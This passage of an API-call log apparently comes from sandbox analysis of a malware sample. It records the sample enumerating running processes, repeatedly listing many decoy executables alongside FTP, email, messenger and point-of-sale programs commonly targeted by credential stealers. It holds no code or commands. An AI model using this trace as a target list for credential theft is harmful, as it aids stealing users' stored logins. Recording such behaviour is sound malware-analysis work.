szExeFile="311B.exe")) returned 1 [0278.583] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0278.585] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0278.587] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0278.589] CloseHandle (hObject=0x344) returned 1 [0278.589] Sleep (dwMilliseconds=0x64) [0278.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0278.643] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.740] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.742] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.744] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.749] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.752] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.754] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.755] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.757] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.762] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.763] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.765] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.766] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.768] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.769] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.771] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0278.772] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0278.773] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.818] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0278.822] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0278.823] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0278.825] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.826] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0278.827] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0278.829] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.830] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0278.832] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0278.834] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0278.836] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0278.838] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0278.840] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0278.842] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0278.843] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0278.845] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0278.847] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0278.850] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0278.852] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0278.853] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0278.855] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0278.857] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0278.858] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0278.859] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0278.861] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0278.862] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0278.915] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0278.917] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0278.919] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0278.921] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0278.923] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0278.925] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0278.927] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0278.929] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0278.931] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0278.934] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0278.936] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0278.938] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0278.941] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0278.943] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0278.945] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0278.948] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0278.950] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0278.952] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0278.990] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0278.992] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0278.995] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0278.997] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0278.999] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0279.001] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0279.003] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0279.006] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0279.008] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0279.011] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0279.014] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0279.016] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0279.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0279.022] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 